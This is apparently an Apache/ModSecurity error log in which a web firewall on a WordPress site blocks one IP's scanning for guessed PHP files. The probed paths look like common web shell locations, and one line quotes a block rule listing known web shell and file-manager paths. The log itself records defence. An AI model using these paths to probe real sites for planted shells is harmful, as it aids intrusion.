[Fri Apr 17 04:45:27.638702 2026] [:error] [pid 51878:tid 51891] [client 20.199.113.127:26042] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeFKZ0nQhUtMbw9EsgYpuwAAAQs"]
[Fri Apr 17 04:45:28.156019 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:36329] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeFKaEnQhUtMbw9EsgYpwgAAAQQ"]
[Fri Apr 17 04:45:28.769190 2026] [:error] [pid 9153:tid 9231] [client 20.199.113.127:62901] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeFKaOMHGxkTZX3c45fbjAAAAI0"]
[Fri Apr 17 04:45:29.435800 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:62867] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeFKaUnQhUtMbw9EsgYpzgAAAQI"]
[Fri Apr 17 04:45:29.984196 2026] [:error] [pid 9152:tid 9209] [client 20.199.113.127:54540] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeFKaZJYca8I3TNCwIfyNwAAAFM"]
[Fri Apr 17 04:45:30.575009 2026] [:error] [pid 51878:tid 51892] [client 20.199.113.127:54565] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeFKaknQhUtMbw9EsgYp1gAAAQw"]
[Fri Apr 17 04:45:31.167679 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:36400] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeFKaxP68VyHNvj1e57M6gAAANc"]
[Fri Apr 17 04:45:31.870545 2026] [:error] [pid 9151:tid 9168] [client 20.199.113.127:36402] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeFKa8hTVuRPkua22vSBkwAAAAc"]
[Fri Apr 17 04:45:32.424148 2026] [:error] [pid 9263:tid 9273] [client 20.199.113.127:26016] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeFKbBP68VyHNvj1e57M8AAAAMg"]
[Fri Apr 17 04:45:32.970280 2026] [:error] [pid 9153:tid 9240] [client 20.199.113.127:51958] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeFKbOMHGxkTZX3c45fbvgAAAJY"]
[Fri Apr 17 04:45:33.560586 2026] [:error] [pid 9153:tid 9228] [client 20.199.113.127:36385] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeFKbeMHGxkTZX3c45fbwwAAAIo"]
[Fri Apr 17 04:45:34.064401 2026] [:error] [pid 9153:tid 9238] [client 20.199.113.127:45586] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeFKbuMHGxkTZX3c45fbxgAAAJQ"]
[Fri Apr 17 04:45:34.732136 2026] [:error] [pid 9152:tid 9194] [client 20.199.113.127:36394] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeFKbpJYca8I3TNCwIfySAAAAEQ"]
[Fri Apr 17 04:45:35.290396 2026] [:error] [pid 9153:tid 9236] [client 20.199.113.127:54528] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeFKb-MHGxkTZX3c45fbzgAAAJI"]
[Fri Apr 17 04:45:35.823212 2026] [:error] [pid 9153:tid 9221] [client 20.199.113.127:54553] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeFKb-MHGxkTZX3c45fb2AAAAIM"]
[Fri Apr 17 04:45:36.337313 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:62854] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeFKcEnQhUtMbw9EsgYqBgAAAQo"]
[Fri Apr 17 04:45:36.864493 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:36290] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKcEnQhUtMbw9EsgYqDgAAAQI"]
[Fri Apr 17 04:45:37.411245 2026] [:error] [pid 9153:tid 9224] [client 20.199.113.127:36296] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKceMHGxkTZX3c45fb5QAAAIY"]
[Fri Apr 17 04:45:37.939683 2026] [:error] [pid 9152:tid 9208] [client 20.199.113.127:25997] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKcZJYca8I3TNCwIfyVQAAAFI"]
[Fri Apr 17 04:45:38.462080 2026] [:error] [pid 9152:tid 9209] [client 20.199.113.127:62877] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKcpJYca8I3TNCwIfyWAAAAFM"]
[Fri Apr 17 04:45:39.001442 2026] [:error] [pid 9152:tid 9195] [client 20.199.113.127:36379] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeFKc5JYca8I3TNCwIfyXQAAAEU"]
[Fri Apr 17 04:45:39.571657 2026] [:error] [pid 51878:tid 51896] [client 20.199.113.127:36325] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeFKc0nQhUtMbw9EsgYqJwAAARA"]
[Fri Apr 17 04:45:40.126219 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:54583] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeFKdBP68VyHNvj1e57NIQAAAMo"]
[Fri Apr 17 04:45:40.686701 2026] [:error] [pid 9153:tid 9218] [client 20.199.113.127:62185] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeFKdOMHGxkTZX3c45fb8gAAAIA"]
[Fri Apr 17 04:45:41.273691 2026] [:error] [pid 51878:tid 51900] [client 20.199.113.127:62165] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeFKdUnQhUtMbw9EsgYqNwAAARQ"]
[Fri Apr 17 04:45:41.856412 2026] [:error] [pid 9153:tid 9227] [client 20.199.113.127:51913] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeFKdeMHGxkTZX3c45fb-AAAAIk"]
[Fri Apr 17 04:45:42.392200 2026] [:error] [pid 9153:tid 9229] [client 20.199.113.127:36380] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeFKduMHGxkTZX3c45fb_AAAAIs"]
[Fri Apr 17 04:45:43.005858 2026] [:error] [pid 9152:tid 9203] [client 20.199.113.127:54551] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeFKd5JYca8I3TNCwIfycwAAAE0"]
[Fri Apr 17 04:45:43.667289 2026] [:error] [pid 51878:tid 51896] [client 20.199.113.127:62144] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeFKd0nQhUtMbw9EsgYqTQAAARA"]
[Fri Apr 17 04:45:44.306832 2026] [:error] [pid 51878:tid 51894] [client 20.199.113.127:4941] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeFKeEnQhUtMbw9EsgYqTwAAAQ4"]
[Fri Apr 17 04:45:44.874606 2026] [:error] [pid 9153:tid 9238] [client 20.199.113.127:25479] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeFKeOMHGxkTZX3c45fcFAAAAJQ"]
[Fri Apr 17 04:45:58.241354 2026] [:error] [pid 9153:tid 9239] [client 20.199.113.127:54563] [client 20.199.113.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeFKhuMHGxkTZX3c45fcSAAAAJU"]
[Fri Apr 17 04:46:03.992516 2026] [autoindex:error] [pid 51878:tid 51882] [client 20.199.113.127:36382] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 17 04:46:11.512326 2026] [:error] [pid 51878:tid 51903] [client 20.199.113.127:36382] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aeFKk0nQhUtMbw9EsgYrXAAAARc"]
[Fri Apr 17 04:46:12.030374 2026] [:error] [pid 9151:tid 9177] [client 20.199.113.127:62158] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aeFKlMhTVuRPkua22vSCKQAAABA"]
[Fri Apr 17 04:46:12.584263 2026] [:error] [pid 9151:tid 9161] [client 20.199.113.127:62892] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aeFKlMhTVuRPkua22vSCMQAAAAA"]
[Fri Apr 17 04:46:13.113567 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:54545] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aeFKlRP68VyHNvj1e57N0wAAANQ"]
[Fri Apr 17 04:46:13.678044 2026] [:error] [pid 9263:tid 9282] [client 20.199.113.127:62168] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeFKlRP68VyHNvj1e57N2AAAANE"]
[Fri Apr 17 04:46:14.184111 2026] [:error] [pid 9153:tid 9240] [client 20.199.113.127:26015] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeFKluMHGxkTZX3c45fcrAAAAJY"]
[Fri Apr 17 04:46:14.656892 2026] [:error] [pid 51878:tid 51902] [client 20.199.113.127:45571] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeFKlknQhUtMbw9EsgYrdAAAARY"]
[Fri Apr 17 04:46:15.130687 2026] [:error] [pid 9153:tid 9236] [client 20.199.113.127:62206] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeFKl-MHGxkTZX3c45fcuwAAAJI"]
[Fri Apr 17 04:46:15.653999 2026] [:error] [pid 9263:tid 9281] [client 20.199.113.127:4561] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeFKlxP68VyHNvj1e57N3gAAANA"]
[Fri Apr 17 04:46:16.198169 2026] [:error] [pid 9263:tid 9268] [client 20.199.113.127:54566] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeFKmBP68VyHNvj1e57N4AAAAMM"]
[Fri Apr 17 04:46:16.706117 2026] [:error] [pid 9151:tid 9174] [client 20.199.113.127:25475] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeFKmMhTVuRPkua22vSCSgAAAA0"]
[Fri Apr 17 04:46:17.203343 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:36412] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeFKmRP68VyHNvj1e57N5wAAANc"]
[Fri Apr 17 04:46:17.698272 2026] [:error] [pid 9152:tid 9203] [client 20.199.113.127:62898] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeFKmZJYca8I3TNCwIfzEAAAAE0"]
[Fri Apr 17 04:46:18.218862 2026] [:error] [pid 9263:tid 9277] [client 20.199.113.127:58469] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeFKmhP68VyHNvj1e57N6wAAAMw"]
[Fri Apr 17 04:46:18.766541 2026] [:error] [pid 9153:tid 9237] [client 20.199.113.127:25472] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeFKmuMHGxkTZX3c45fc4AAAAJM"]
[Fri Apr 17 04:46:19.289393 2026] [:error] [pid 9263:tid 9280] [client 20.199.113.127:51908] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeFKmxP68VyHNvj1e57N-wAAAM8"]
[Fri Apr 17 04:46:19.785432 2026] [:error] [pid 9153:tid 9236] [client 20.199.113.127:51937] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeFKm-MHGxkTZX3c45fc6AAAAJI"]
[Fri Apr 17 04:46:20.260097 2026] [:error] [pid 51878:tid 51887] [client 20.199.113.127:36358] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeFKnEnQhUtMbw9EsgYrqwAAAQc"]
[Fri Apr 17 04:46:20.750577 2026] [:error] [pid 9263:tid 9265] [client 20.199.113.127:62883] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeFKnBP68VyHNvj1e57OBQAAAMA"]
[Fri Apr 17 04:46:21.302345 2026] [:error] [pid 9153:tid 9240] [client 20.199.113.127:51905] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeFKneMHGxkTZX3c45fc-QAAAJY"]
[Fri Apr 17 04:46:21.848410 2026] [:error] [pid 9263:tid 9268] [client 20.199.113.127:25526] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFKnRP68VyHNvj1e57OCwAAAMM"]
[Fri Apr 17 04:46:22.356892 2026] [:error] [pid 9151:tid 9180] [client 20.199.113.127:58438] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFKnshTVuRPkua22vSCVgAAABM"]
[Fri Apr 17 04:46:22.851932 2026] [:error] [pid 9151:tid 9178] [client 20.199.113.127:36347] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFKnshTVuRPkua22vSCWQAAABE"]
